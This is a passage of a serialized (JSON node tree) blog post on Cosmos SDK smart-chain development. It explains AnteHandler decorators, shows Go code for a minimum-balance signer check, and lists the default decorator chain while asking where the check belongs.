children":78733},{"class":200,"line":477},[78734,78739,78744,78749],{"type":21,"tag":198,"props":78735,"children":78736},{"style":226},[78737],{"type":27,"value":78738}," Version",{"type":21,"tag":198,"props":78740,"children":78741},{"style":211},[78742],{"type":27,"value":78743},": ",{"type":21,"tag":198,"props":78745,"children":78746},{"style":226},[78747],{"type":27,"value":78748},"version",{"type":21,"tag":198,"props":78750,"children":78751},{"style":211},[78752],{"type":27,"value":257},{"type":21,"tag":198,"props":78754,"children":78755},{"class":200,"line":494},[78756,78761,78765,78769],{"type":21,"tag":198,"props":78757,"children":78758},{"style":226},[78759],{"type":27,"value":78760}," StoreInfos",{"type":21,"tag":198,"props":78762,"children":78763},{"style":211},[78764],{"type":27,"value":16136},{"type":21,"tag":198,"props":78766,"children":78767},{"style":226},[78768],{"type":27,"value":78610},{"type":21,"tag":198,"props":78770,"children":78771},{"style":211},[78772],{"type":27,"value":257},{"type":21,"tag":198,"props":78774,"children":78775},{"class":200,"line":515},[78776],{"type":21,"tag":198,"props":78777,"children":78778},{"style":211},[78779],{"type":27,"value":880},{"type":21,"tag":198,"props":78781,"children":78782},{"class":200,"line":4484},[78783],{"type":21,"tag":198,"props":78784,"children":78785},{"style":211},[78786],{"type":27,"value":1120},{"type":21,"tag":30,"props":78788,"children":78789},{},[78790,78792,78799,78800,78807],{"type":27,"value":78791},"Other factors contributing to determinism issues are the usage of ",{"type":21,"tag":34,"props":78793,"children":78796},{"href":78794,"rel":78795},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[38],[78797],{"type":27,"value":78798},"time-sensitive functions",{"type":27,"value":11801},{"type":21,"tag":34,"props":78801,"children":78804},{"href":78802,"rel":78803},"https://github.com/cosmos/cosmos-sdk/issues/16638",[38],[78805],{"type":27,"value":78806},"race conditions",{"type":27,"value":658},{"type":21,"tag":22,"props":78809,"children":78811},{"id":78810},"thou-shalt-not-passor-should-you",[78812],{"type":27,"value":78813},"Thou Shalt Not Pass...Or Should You?",{"type":21,"tag":30,"props":78815,"children":78816},{},[78817,78819,78825,78826,78832],{"type":27,"value":78818},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":21,"tag":194,"props":78820,"children":78822},{"className":78821},[],[78823],{"type":27,"value":78824},"msg.value",{"type":27,"value":828},{"type":21,"tag":194,"props":78827,"children":78829},{"className":78828},[],[78830],{"type":27,"value":78831},"msg.sender",{"type":27,"value":78833},", and collecting transaction fees) to the underlying blockchain.",{"type":21,"tag":30,"props":78835,"children":78836},{},[78837,78839,78845,78847,78853],{"type":27,"value":78838},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":21,"tag":194,"props":78840,"children":78842},{"className":78841},[],[78843],{"type":27,"value":78844},"Cosmos-SDK",{"type":27,"value":78846}," introduces ",{"type":21,"tag":194,"props":78848,"children":78850},{"className":78849},[],[78851],{"type":27,"value":78852},"AnteHandler",{"type":27,"value":78854}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":21,"tag":30,"props":78856,"children":78857},{},[78858,78860,78865,78867,78872],{"type":27,"value":78859},"To provide context, let's first understand how an ",{"type":21,"tag":194,"props":78861,"children":78863},{"className":78862},[],[78864],{"type":27,"value":78852},{"type":27,"value":78866}," is processed. Each ",{"type":21,"tag":194,"props":78868,"children":78870},{"className":78869},[],[78871],{"type":27,"value":78852},{"type":27,"value":78873}," is a state transition function that can:",{"type":21,"tag":71,"props":78875,"children":78876},{},[78877,78882],{"type":21,"tag":75,"props":78878,"children":78879},{},[78880],{"type":27,"value":78881},"Transform the block state in relation to transaction and execution context.",{"type":21,"tag":75,"props":78883,"children":78884},{},[78885,78887],{"type":27,"value":78886},"Determine the course of action for the transaction.\n",{"type":21,"tag":71,"props":78888,"children":78889},{},[78890,78901],{"type":21,"tag":75,"props":78891,"children":78892},{},[78893,78895,78900],{"type":27,"value":78894},"Pass the transaction to the next ",{"type":21,"tag":194,"props":78896,"children":78898},{"className":78897},[],[78899],{"type":27,"value":78852},{"type":27,"value":658},{"type":21,"tag":75,"props":78902,"children":78903},{},[78904],{"type":27,"value":78905},"Return error for transaction.",{"type":21,"tag":30,"props":78907,"children":78908},{},[78909,78911,78916],{"type":27,"value":78910},"The bad news is that developing an ",{"type":21,"tag":194,"props":78912,"children":78914},{"className":78913},[],[78915],{"type":27,"value":78852},{"type":27,"value":78917}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":21,"tag":30,"props":78919,"children":78920},{},[78921,78922,78928],{"type":27,"value":534},{"type":21,"tag":194,"props":78923,"children":78925},{"className":78924},[],[78926],{"type":27,"value":78927},"AnteHandle",{"type":27,"value":78929}," implementation may look something like this:",{"type":21,"tag":187,"props":78931,"children":78933},{"code":78932,"language":76546,"meta":7,"className":76547,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[78934],{"type":21,"tag":194,"props":78935,"children":78936},{"__ignoreMap":7},[78937,78949,78965,78972,78979,79012,79036,79061,79077,79101,79133,79181,79200,79233,79254,79266,79273,79280,79287,79317,79353,79417,79451,79483,79495,79507,79514,79521,79528,79535,79577],{"type":21,"tag":198,"props":78938,"children":78939},{"class":200,"line":201},[78940,78944],{"type":21,"tag":198,"props":78941,"children":78942},{"style":249},[78943],{"type":27,"value":2648},{"type":21,"tag":198,"props":78945,"children":78946},{"style":211},[78947],{"type":27,"value":78948}," (\n",{"type":21,"tag":198,"props":78950,"children":78951},{"class":200,"line":217},[78952,78957,78961],{"type":21,"tag":198,"props":78953,"children":78954},{"style":226},[78955],{"type":27,"value":78956}," MIN_BALANCE",{"type":21,"tag":198,"props":78958,"children":78959},{"style":683},[78960],{"type":27,"value":979},{"type":21,"tag":198,"props":78962,"children":78963},{"style":2540},[78964],{"type":27,"value":20137},{"type":21,"tag":198,"props":78966,"children":78967},{"class":200,"line":236},[78968],{"type":21,"tag":198,"props":78969,"children":78970},{"style":211},[78971],{"type":27,"value":789},{"type":21,"tag":198,"props":78973,"children":78974},{"class":200,"line":260},[78975],{"type":21,"tag":198,"props":78976,"children":78977},{"emptyLinePlaceholder":16},[78978],{"type":27,"value":1283},{"type":21,"tag":198,"props":78980,"children":78981},{"class":200,"line":281},[78982,78986,78990,78995,79000,79004,79008],{"type":21,"tag":198,"props":78983,"children":78984},{"style":249},[78985],{"type":27,"value":76682},{"type":21,"tag":198,"props":78987,"children":78988},{"style":211},[78989],{"type":27,"value":648},{"type":21,"tag":198,"props":78991,"children":78992},{"style":226},[78993],{"type":27,"value":78994},"abd ",{"type":21,"tag":198,"props":78996,"children":78997},{"style":1966},[78998],{"type":27,"value":78999},"AccountBalanceDecorator",{"type":21,"tag":198,"props":79001,"children":79002},{"style":211},[79003],{"type":27,"value":1541},{"type":21,"tag":198,"props":79005,"children":79006},{"style":698},[79007],{"type":27,"value":78927},{"type":21,"tag":198,"props":79009,"children":79010},{"style":211},[79011],{"type":27,"value":4268},{"type":21,"tag":198,"props":79013,"children":79014},{"class":200,"line":302},[79015,79019,79024,79028,79032],{"type":21,"tag":198,"props":79016,"children":79017},{"style":226},[79018],{"type":27,"value":21018},{"type":21,"tag":198,"props":79020,"children":79021},{"style":1966},[79022],{"type":27,"value":79023}," sdk",{"type":21,"tag":198,"props":79025,"children":79026},{"style":211},[79027],{"type":27,"value":658},{"type":21,"tag":198,"props":79029,"children":79030},{"style":1966},[79031],{"type":27,"value":76731},{"type":21,"tag":198,"props":79033,"children":79034},{"style":211},[79035],{"type":27,"value":257},{"type":21,"tag":198,"props":79037,"children":79038},{"class":200,"line":323},[79039,79044,79048,79052,79057],{"type":21,"tag":198,"props":79040,"children":79041},{"style":226},[79042],{"type":27,"value":79043}," tx",{"type":21,"tag":198,"props":79045,"children":79046},{"style":1966},[79047],{"type":27,"value":79023},{"type":21,"tag":198,"props":79049,"children":79050},{"style":211},[79051],{"type":27,"value":658},{"type":21,"tag":198,"props":79053,"children":79054},{"style":1966},[79055],{"type":27,"value":79056},"Tx",{"type":21,"tag":198,"props":79058,"children":79059},{"style":211},[79060],{"type":27,"value":257},{"type":21,"tag":198,"props":79062,"children":79063},{"class":200,"line":344},[79064,79069,79073],{"type":21,"tag":198,"props":79065,"children":79066},{"style":226},[79067],{"type":27,"value":79068}," simulate",{"type":21,"tag":198,"props":79070,"children":79071},{"style":1966},[79072],{"type":27,"value":12860},{"type":21,"tag":198,"props":79074,"children":79075},{"style":211},[79076],{"type":27,"value":257},{"type":21,"tag":198,"props":79078,"children":79079},{"class":200,"line":365},[79080,79085,79089,79093,79097],{"type":21,"tag":198,"props":79081,"children":79082},{"style":226},[79083],{"type":27,"value":79084}," next",{"type":21,"tag":198,"props":79086,"children":79087},{"style":1966},[79088],{"type":27,"value":79023},{"type":21,"tag":198,"props":79090,"children":79091},{"style":211},[79092],{"type":27,"value":658},{"type":21,"tag":198,"props":79094,"children":79095},{"style":1966},[79096],{"type":27,"value":78852},{"type":21,"tag":198,"props":79098,"children":79099},{"style":211},[79100],{"type":27,"value":257},{"type":21,"tag":198,"props":79102,"children":79103},{"class":200,"line":386},[79104,79108,79113,79117,79121,79125,79129],{"type":21,"tag":198,"props":79105,"children":79106},{"style":211},[79107],{"type":27,"value":76764},{"type":21,"tag":198,"props":79109,"children":79110},{"style":1966},[79111],{"type":27,"value":79112},"sdk",{"type":21,"tag":198,"props":79114,"children":79115},{"style":211},[79116],{"type":27,"value":658},{"type":21,"tag":198,"props":79118,"children":79119},{"style":1966},[79120],{"type":27,"value":76731},{"type":21,"tag":198,"props":79122,"children":79123},{"style":211},[79124],{"type":27,"value":828},{"type":21,"tag":198,"props":79126,"children":79127},{"style":1966},[79128],{"type":27,"value":15668},{"type":21,"tag":198,"props":79130,"children":79131},{"style":211},[79132],{"type":27,"value":668},{"type":21,"tag":198,"props":79134,"children":79135},{"class":200,"line":408},[79136,79141,79145,79150,79154,79158,79163,79168,79172,79177],{"type":21,"tag":198,"props":79137,"children":79138},{"style":226},[79139],{"type":27,"value":79140}," sigTx",{"type":21,"tag":198,"props":79142,"children":79143},{"style":211},[79144],{"type":27,"value":828},{"type":21,"tag":198,"props":79146,"children":79147},{"style":226},[79148],{"type":27,"value":79149},"ok",{"type":21,"tag":198,"props":79151,"children":79152},{"style":683},[79153],{"type":27,"value":76798},{"type":21,"tag":198,"props":79155,"children":79156},{"style":226},[79157],{"type":27,"value":68407},{"type":21,"tag":198,"props":79159,"children":79160},{"style":211},[79161],{"type":27,"value":79162},".(",{"type":21,"tag":198,"props":79164,"children":79165},{"style":1966},[79166],{"type":27,"value":79167},"authsigning",{"type":21,"tag":198,"props":79169,"children":79170},{"style":211},[79171],{"type":27,"value":658},{"type":21,"tag":198,"props":79173,"children":79174},{"style":1966},[79175],{"type":27,"value":79176},"SigVerifiableTx",{"type":21,"tag":198,"props":79178,"children":79179},{"style":211},[79180],{"type":27,"value":789},{"type":21,"tag":198,"props":79182,"children":79183},{"class":200,"line":429},[79184,79188,79192,79196],{"type":21,"tag":198,"props":79185,"children":79186},{"style":640},[79187],{"type":27,"value":643},{"type":21,"tag":198,"props":79189,"children":79190},{"style":683},[79191],{"type":27,"value":13670},{"type":21,"tag":198,"props":79193,"children":79194},{"style":226},[79195],{"type":27,"value":79149},{"type":21,"tag":198,"props":79197,"children":79198},{"style":211},[79199],{"type":27,"value":233},{"type":21,"tag":198,"props":79201,"children":79202},{"class":200,"line":450},[79203,79207,79211,79215,79220,79224,79229],{"type":21,"tag":198,"props":79204,"children":79205},{"style":640},[79206],{"type":27,"value":16547},{"type":21,"tag":198,"props":79208,"children":79209},{"style":226},[79210],{"type":27,"value":26647},{"type":21,"tag":198,"props":79212,"children":79213},{"style":211},[79214],{"type":27,"value":828},{"type":21,"tag":198,"props":79216,"children":79217},{"style":226},[79218],{"type":27,"value":79219},"errorsmod",{"type":21,"tag":198,"props":79221,"children":79222},{"style":211},[79223],{"type":27,"value":658},{"type":21,"tag":198,"props":79225,"children":79226},{"style":698},[79227],{"type":27,"value":79228},"Wrap",{"type":21,"tag":198,"props":79230,"children":79231},{"style":211},[79232],{"type":27,"value":4268},{"type":21,"tag":198,"props":79234,"children":79235},{"class":200,"line":468},[79236,79241,79245,79250],{"type":21,"tag":198,"props":79237,"children":79238},{"style":226},[79239],{"type":27,"value":79240}," sdkerrors",{"type":21,"tag":198,"props":79242,"children":79243},{"style":211},[79244],{"type":27,"value":658},{"type":21,"tag":198,"props":79246,"children":79247},{"style":226},[79248],{"type":27,"value":79249},"ErrTxDecode",{"type":21,"tag":198,"props":79251,"children":79252},{"style":211},[79253],{"type":27,"value":257},{"type":21,"tag":198,"props":79255,"children":79256},{"class":200,"line":477},[79257,79262],{"type":21,"tag":198,"props":79258,"children":79259},{"style":205},[79260],{"type":27,"value":79261}," \"invalid tx type\"",{"type":21,"tag":198,"props":79263,"children":79264},{"style":211},[79265],{"type":27,"value":257},{"type":21,"tag":198,"props":79267,"children":79268},{"class":200,"line":494},[79269],{"type":21,"tag":198,"props":79270,"children":79271},{"style":211},[79272],{"type":27,"value":68700},{"type":21,"tag":198,"props":79274,"children":79275},{"class":200,"line":515},[79276],{"type":21,"tag":198,"props":79277,"children":79278},{"style":211},[79279],{"type":27,"value":880},{"type":21,"tag":198,"props":79281,"children":79282},{"class":200,"line":4484},[79283],{"type":21,"tag":198,"props":79284,"children":79285},{"emptyLinePlaceholder":16},[79286],{"type":27,"value":1283},{"type":21,"tag":198,"props":79288,"children":79289},{"class":200,"line":4493},[79290,79295,79299,79304,79308,79313],{"type":21,"tag":198,"props":79291,"children":79292},{"style":226},[79293],{"type":27,"value":79294}," signers",{"type":21,"tag":198,"props":79296,"children":79297},{"style":683},[79298],{"type":27,"value":76798},{"type":21,"tag":198,"props":79300,"children":79301},{"style":226},[79302],{"type":27,"value":79303}," sigTx",{"type":21,"tag":198,"props":79305,"children":79306},{"style":211},[79307],{"type":27,"value":658},{"type":21,"tag":198,"props":79309,"children":79310},{"style":698},[79311],{"type":27,"value":79312},"GetSigners",{"type":21,"tag":198,"props":79314,"children":79315},{"style":211},[79316],{"type":27,"value":1837},{"type":21,"tag":198,"props":79318,"children":79319},{"class":200,"line":4561},[79320,79324,79328,79332,79336,79340,79344,79349],{"type":21,"tag":198,"props":79321,"children":79322},{"style":640},[79323],{"type":27,"value":3840},{"type":21,"tag":198,"props":79325,"children":79326},{"style":226},[79327],{"type":27,"value":4203},{"type":21,"tag":198,"props":79329,"children":79330},{"style":211},[79331],{"type":27,"value":828},{"type":21,"tag":198,"props":79333,"children":79334},{"style":226},[79335],{"type":27,"value":7958},{"type":21,"tag":198,"props":79337,"children":79338},{"style":683},[79339],{"type":27,"value":76798},{"type":21,"tag":198,"props":79341,"children":79342},{"style":640},[79343],{"type":27,"value":77781},{"type":21,"tag":198,"props":79345,"children":79346},{"style":226},[79347],{"type":27,"value":79348}," signers",{"type":21,"tag":198,"props":79350,"children":79351},{"style":211},[79352],{"type":27,"value":233},{"type":21,"tag":198,"props":79354,"children":79355},{"class":200,"line":4569},[79356,79361,79365,79370,79374,79379,79383,79388,79392,79396,79400,79404,79408,79413],{"type":21,"tag":198,"props":79357,"children":79358},{"style":226},[79359],{"type":27,"value":79360}," balance",{"type":21,"tag":198,"props":79362,"children":79363},{"style":683},[79364],{"type":27,"value":76798},{"type":21,"tag":198,"props":79366,"children":79367},{"style":226},[79368],{"type":27,"value":79369}," abd",{"type":21,"tag":198,"props":79371,"children":79372},{"style":211},[79373],{"type":27,"value":658},{"type":21,"tag":198,"props":79375,"children":79376},{"style":226},[79377],{"type":27,"value":79378},"bk",{"type":21,"tag":198,"props":79380,"children":79381},{"style":211},[79382],{"type":27,"value":658},{"type":21,"tag":198,"props":79384,"children":79385},{"style":698},[79386],{"type":27,"value":79387},"getBalance",{"type":21,"tag":198,"props":79389,"children":79390},{"style":211},[79391],{"type":27,"value":706},{"type":21,"tag":198,"props":79393,"children":79394},{"style":226},[79395],{"type":27,"value":21075},{"type":21,"tag":198,"props":79397,"children":79398},{"style":211},[79399],{"type":27,"value":828},{"type":21,"tag":198,"props":79401,"children":79402},{"style":226},[79403],{"type":27,"value":7958},{"type":21,"tag":198,"props":79405,"children":79406},{"style":211},[79407],{"type":27,"value":828},{"type":21,"tag":198,"props":79409,"children":79410},{"style":226},[79411],{"type":27,"value":79412},"ATOM",{"type":21,"tag":198,"props":79414,"children":79415},{"style":211},[79416],{"type":27,"value":789},{"type":21,"tag":198,"props":79418,"children":79419},{"class":200,"line":4599},[79420,79424,79429,79433,79438,79442,79447],{"type":21,"tag":198,"props":79421,"children":79422},{"style":640},[79423],{"type":27,"value":4079},{"type":21,"tag":198,"props":79425,"children":79426},{"style":226},[79427],{"type":27,"value":79428}," balance",{"type":21,"tag":198,"props":79430,"children":79431},{"style":211},[79432],{"type":27,"value":658},{"type":21,"tag":198,"props":79434,"children":79435},{"style":226},[79436],{"type":27,"value":79437},"Amount",{"type":21,"tag":198,"props":79439,"children":79440},{"style":683},[79441],{"type":27,"value":9529},{"type":21,"tag":198,"props":79443,"children":79444},{"style":226},[79445],{"type":27,"value":79446}," MIN_BALANCE",{"type":21,"tag":198,"props":79448,"children":79449},{"style":211},[79450],{"type":27,"value":233},{"type":21,"tag":198,"props":79452,"children":79453},{"class":200,"line":4607},[79454,79459,79463,79467,79471,79475,79479],{"type":21,"tag":198,"props":79455,"children":79456},{"style":640},[79457],{"type":27,"value":79458}," return",{"type":21,"tag":198,"props":79460,"children":79461},{"style":226},[79462],{"type":27,"value":26647},{"type":21,"tag":198,"props":79464,"children":79465},{"style":211},[79466],{"type":27,"value":828},{"type":21,"tag":198,"props":79468,"children":79469},{"style":226},[79470],{"type":27,"value":79219},{"type":21,"tag":198,"props":79472,"children":79473},{"style":211},[79474],{"type":27,"value":658},{"type":21,"tag":198,"props":79476,"children":79477},{"style":698},[79478],{"type":27,"value":79228},{"type":21,"tag":198,"props":79480,"children":79481},{"style":211},[79482],{"type":27,"value":4268},{"type":21,"tag":198,"props":79484,"children":79485},{"class":200,"line":4638},[79486,79491],{"type":21,"tag":198,"props":79487,"children":79488},{"style":226},[79489],{"type":27,"value":79490}," ErrInsufficientBalance",{"type":21,"tag":198,"props":79492,"children":79493},{"style":211},[79494],{"type":27,"value":257},{"type":21,"tag":198,"props":79496,"children":79497},{"class":200,"line":4646},[79498,79503],{"type":21,"tag":198,"props":79499,"children":79500},{"style":205},[79501],{"type":27,"value":79502}," \"Insufficient Balance\"",{"type":21,"tag":198,"props":79504,"children":79505},{"style":211},[79506],{"type":27,"value":257},{"type":21,"tag":198,"props":79508,"children":79509},{"class":200,"line":4706},[79510],{"type":21,"tag":198,"props":79511,"children":79512},{"style":211},[79513],{"type":27,"value":77897},{"type":21,"tag":198,"props":79515,"children":79516},{"class":200,"line":9857},[79517],{"type":21,"tag":198,"props":79518,"children":79519},{"style":211},[79520],{"type":27,"value":1160},{"type":21,"tag":198,"props":79522,"children":79523},{"class":200,"line":9875},[79524],{"type":21,"tag":198,"props":79525,"children":79526},{"style":211},[79527],{"type":27,"value":880},{"type":21,"tag":198,"props":79529,"children":79530},{"class":200,"line":9920},[79531],{"type":21,"tag":198,"props":79532,"children":79533},{"emptyLinePlaceholder":16},[79534],{"type":27,"value":1283},{"type":21,"tag":198,"props":79536,"children":79537},{"class":200,"line":10026},[79538,79542,79547,79551,79555,79559,79564,79568,79573],{"type":21,"tag":198,"props":79539,"children":79540},{"style":640},[79541],{"type":27,"value":1478},{"type":21,"tag":198,"props":79543,"children":79544},{"style":698},[79545],{"type":27,"value":79546}," next",{"type":21,"tag":198,"props":79548,"children":79549},{"style":211},[79550],{"type":27,"value":706},{"type":21,"tag":198,"props":79552,"children":79553},{"style":226},[79554],{"type":27,"value":21075},{"type":21,"tag":198,"props":79556,"children":79557},{"style":211},[79558],{"type":27,"value":828},{"type":21,"tag":198,"props":79560,"children":79561},{"style":226},[79562],{"type":27,"value":79563},"tx",{"type":21,"tag":198,"props":79565,"children":79566},{"style":211},[79567],{"type":27,"value":828},{"type":21,"tag":198,"props":79569,"children":79570},{"style":226},[79571],{"type":27,"value":79572},"simulate",{"type":21,"tag":198,"props":79574,"children":79575},{"style":211},[79576],{"type":27,"value":789},{"type":21,"tag":198,"props":79578,"children":79579},{"class":200,"line":24302},[79580],{"type":21,"tag":198,"props":79581,"children":79582},{"style":211},[79583],{"type":27,"value":1120},{"type":21,"tag":30,"props":79585,"children":79586},{},[79587,79589,79594,79596,79602,79604,79610],{"type":27,"value":79588},"Where should this custom ",{"type":21,"tag":194,"props":79590,"children":79592},{"className":79591},[],[79593],{"type":27,"value":78852},{"type":27,"value":79595}," be placed relative to other ",{"type":21,"tag":194,"props":79597,"children":79599},{"className":79598},[],[79600],{"type":27,"value":79601},"AnteHandlers",{"type":27,"value":79603}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":21,"tag":194,"props":79605,"children":79607},{"className":79606},[],[79608],{"type":27,"value":79609},"SetUpContextDecorator",{"type":27,"value":79611}," should work, right?",{"type":21,"tag":30,"props":79613,"children":79614},{},[79615],{"type":21,"tag":34,"props":79616,"children":79619},{"href":79617,"rel":79618},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[38],[79620],{"type":27,"value":77121},{"type":21,"tag":187,"props":79622,"children":79624},{"code":79623,"language":76546,"meta":7,"className":76547,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[79625],{"type":21,"tag":194,"props":79626,"children":79627},{"__ignoreMap":7},[79628,79661,79678,79686,79715,79727,79739,79768,79796,79875,79908,79936,79981,80026,80054],{"type":21,"tag":198,"props":79629,"children":79630},{"class":200,"line":201},[79631,79636,79640,79644,79648,79652,79657],{"type":21,"tag":198,"props":79632,"children":79633},{"style":226},[79634],{"type":27,"value":79635},"anteDecorators",{"type":21,"tag":198,"props":79637,"children":79638},{"style":683},[79639],{"type":27,"value":76798},{"type":21,"tag":198,"props":79641,"children":79642},{"style":211},[79643],{"type":27,"value":76609},{"type":21,"tag":198,"props":79645,"children":79646},{"style":1966},[79647],{"type":27,"value":79112},{"type":21,"tag":198,"props":79649,"children":79650},{"style":211},[79651],{"type":27,"value":658},{"type":21,"tag":198,"props":79653,"children":79654},{"style":1966},[79655],{"type":27,"value":79656},"AnteDecorator",{"type":21,"tag":198,"props":79658,"children":79659},{"style":211},[79660],{"type":27,"value":11689},{"type":21,"tag":198,"props":79662,"children":79663},{"class":200,"line":217},[79664,79669,79673],{"type":21,"tag":198,"props":79665,"children":79666},{"style":698},[79667],{"type":27,"value":79668}," NewSetUpContextDecorator",{"type":21,"tag":198,"props":79670,"children":79671},{"style":211},[79672],{"type":27,"value":19178},{"type":21,"tag":198,"props":79674,"children":79675},{"style":1233},[79676],{"type":27,"value":79677},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":21,"tag":198,"props":79679,"children":79680},{"class":200,"line":236},[79681],{"type":21,"tag":198,"props":79682,"children":79683},{"style":1233},[79684],{"type":27,"value":79685}," // INSERT HERE\n",{"type":21,"tag":198,"props":79687,"children":79688},{"class":200,"line":260},[79689,79694,79698,79702,79706,79711],{"type":21,"tag":198,"props":79690,"children":79691},{"style":698},[79692],{"type":27,"value":79693}," NewExtensionOptionsDecorator",{"type":21,"tag":198,"props":79695,"children":79696},{"style":211},[79697],{"type":27,"value":706},{"type":21,"tag":198,"props":79699,"children":79700},{"style":226},[79701],{"type":27,"value":36812},{"type":21,"tag":198,"props":79703,"children":79704},{"style":211},[79705],{"type":27,"value":658},{"type":21,"tag":198,"props":79707,"children":79708},{"style":226},[79709],{"type":27,"value":79710},"ExtensionOptionChecker",{"type":21,"tag":198,"props":79712,"children":79713},{"style":211},[79714],{"type":27,"value":7548},{"type":21,"tag":198,"props":79716,"children":79717},{"class":200,"line":281},[79718,79723],{"type":21,"tag":198,"props":79719,"children":79720},{"style":698},[79721],{"type":27,"value":79722}," NewValidateBasicDecorator",{"type":21,"tag":198,"props":79724,"children":79725},{"style":211},[79726],{"type":27,"value":4296},{"type":21,"tag":198,"props":79728,"children":79729},{"class":200,"line":302},[79730,79735],{"type":21,"tag":198,"props":79731,"children":79732},{"style":698},[79733],{"type":27,"value":79734}," NewTxTimeoutHeightDecorator",{"type":21,"tag":198,"props":79736,"children":79737},{"style":211},[79738],{"type":27,"value":4296},{"type":21,"tag":198,"props":79740,"children":79741},{"class":200,"line":323},[79742,79747,79751,79755,79759,79764],{"type":21,"tag":198,"props":79743,"children":79744},{"style":698},[79745],{"type":27,"value":79746}," NewValidateMemoDecorator",{"type":21,"tag":198,"props":79748,"children":79749},{"style":211},[79750],{"type":27,"value":706},{"type":21,"tag":198,"props":79752,"children":79753},{"style":226},[79754],{"type":27,"value":36812},{"type":21,"tag":198,"props":79756,"children":79757},{"style":211},[79758],{"type":27,"value":658},{"type":21,"tag":198,"props":79760,"children":79761},{"style":226},[79762],{"type":27,"value":79763},"AccountKeeper",{"type":21,"tag":198,"props":79765,"children":79766},{"style":211},[79767],{"type":27,"value":7548},{"type":21,"tag":198,"props":79769,"children":79770},{"class":200,"line":344},[79771,79776,79780,79784,79788,79792],{"type":21,"tag":198,"props":79772,"children":79773},{"style":698},[79774],{"type":27,"value":79775}," NewConsumeGasForTxSizeDecorator",{"type":21,"tag":198,"props":79777,"children":79778},{"style":211},[79779],{"type":27,"value":706},{"type":21,"tag":198,"props":79781,"children":79782},{"style":226},[79783],{"type":27,"value":36812},{"type":21,"tag":198,"props":79785,"children":79786},{"style":211},[79787],{"type":27,"value":658},{"type":21,"tag":198,"props":79789,"children":79790},{"style":226},[79791],{"type":27,"value":79763},{"type":21,"tag":198,"props":79793,"children":79794},{"style":211},[79795],{"type":27,"value":7548},{"type":21,"tag":198,"props":79797,"children":79798},{"class":200,"line":365},[79799,79804,79808,79812,79816,79820,79824,79828,79832,79837,79841,79845,79849,79854,79858,79862,79866,79871],{"type":21,"tag":198,"props":79800,"children":79801},{"style":698},[79802],{"type":27,"value":79803}," NewDeductFeeDecorator",{"type":21,"tag":198,"props":79805,"children":79806},{"style":211},[79807],{"type":27,"value":706},{"type":21,"tag":198,"props":79809,"children":79810},{"style":226},[79811],{"type":27,"value":36812},{"type":21,"tag":198,"props":79813,"children":79814},{"style":211},[79815],{"type":27,"value":658},{"type":21,"tag":198,"props":79817,"children":79818},{"style":226},[79819],{"type":27,"value":79763},{"type":21,"tag":198,"props":79821,"children":79822},{"style":211},[79823],{"type":27,"value":828},{"type":21,"tag":198,"props":79825,"children":79826},{"style":226},[79827],{"type":27,"value":36812},{"type":21,"tag":198,"props":79829,"children":79830},{"style":211},[79831],{"type":27,"value":658},{"type":21,"tag":198,"props":79833,"children":79834},{"style":226},[79835],{"type":27,"value":79836},"BankKeeper",{"type":21,"tag":198,"props":79838,"children":79839},{"style":211},[79840],{"type":27,"value":828},{"type":21,"tag":198,"props":79842,"children":79843},{"style":226},[79844],{"type":27,"value":36812},{"type":21,"tag":198,"props":79846,"children":79847},{"style":211},[79848],{"type":27,"value":658},{"type":21,"tag":198,"props":79850,"children":79851},{"style":226},[79852],{"type":27,"value":79853},"FeegrantKeeper",{"type":21,"tag":198,"props":79855,"children":79856},{"style":211},[79857],{"type":27,"value":828},{"type":21,"tag":198,"props":79859,"children":79860},{"style":226},[79861],{"type":27,"value":36812},{"type":21,"tag":198,"props":79863,"children":79864},{"style":211},[79865],{"type":27,"value":658},{"type":21,"tag":198,"props":79867,"children":79868},{"style":226},[79869],{"type":27,"value":79870},"TxFeeChecker",{"type":21,"tag":198,"props":79872,"children":79873},{"style":211},[79874],{"type":27,"value":7548},{"type":21,"tag":198,"props":79876,"children":79877},{"class":200,"line":386},[79878,79883,79887,79891,79895,79899,79903],{"type":21,"tag":198,"props":79879,"children":79880},{"style":698},[79881],{"type":27,"value":79882}," 